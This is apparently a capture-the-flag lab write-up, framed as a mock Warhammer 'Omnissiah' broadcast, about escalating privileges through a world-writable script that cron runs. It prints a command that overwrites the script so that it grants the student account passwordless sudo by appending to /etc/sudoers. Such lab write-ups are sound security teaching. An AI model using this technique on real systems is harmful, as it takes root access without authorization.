+++ INITIATING LITURGICAL BROADCAST +++
By the Will of the Omnissiah, and the Authority vested in me as Magos Dominus, I transmit this holy data-burst unto the noosphere.
What are cron jobs?
Automated tasks running on Linux systems.
Lab
We are given a machine with an student account , as we can observe if we crontab -l it says that student has no cron jobs configured.
I will use grep / -rnw -e "/home/student/message" 2>/dev/null
to find any occurrences mentioning the file wherever.
I found that the message was copied into /tmp/message and an script called copy.sh with the following content.
cat /usr/local/share/copy.sh
#! /bin/bash
cp /home/student/message /tmp/message
chmod 644 /tmp/message
So , apparently there is something running this script , I will assume that it is a cron job so I will try to append a new command into the script , which adds my user Student to the sudoers file.
`printf ’#!/bin/bash\necho “student ALL=NOPASSWD:ALL” >> /etc/sudoers’ > /usr/local/share/copy.sh
After this , my user is added to the sudoers file , I got access to the root directory , and the flag , was inside.
GLORY TO THE OMNISSIAH. PRAISE THE BINARY DIVINE.
+++ LITURGICAL BROADCAST COMPLETE +++